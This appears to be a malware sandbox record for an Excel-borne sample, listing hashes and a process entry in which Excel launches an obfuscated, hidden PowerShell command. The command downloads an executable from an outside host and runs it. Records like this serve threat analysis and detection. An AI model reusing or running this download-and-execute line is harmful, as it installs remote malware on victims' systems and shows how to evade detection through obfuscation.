56ea4385bd58a497b7a8dd5ac2e4ae68

https://sandbox.deepviz.com/report/hash/56ea4385bd58a497b7a8dd5ac2e4ae68/

C:\WINDOWS\system32\cmd.exe
  Parentname:  C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE
  Command Line:  Cmd.Exe /c "pO^we^rshEll.exE -^ex^eCUti^O^Np^o^liC^y by^p^AS^s ^-NoPrOfILE -^WINd^ows^TY^Le^ ^hiD^D^en^ (neW-OB^j^eCT SYS^Te^m.^N^E^t.w^ebCLiENT^)^.doWN^LoA^dfile('http://ltmp.localnews39.pl/file/set.rte','%aPPDATA%.Exe');St^AR^t^-^P^RO^Ce^sS ^'%APpdAta%.ExE'"
MD5:  6d778e0f95447e6546553eeea709d03c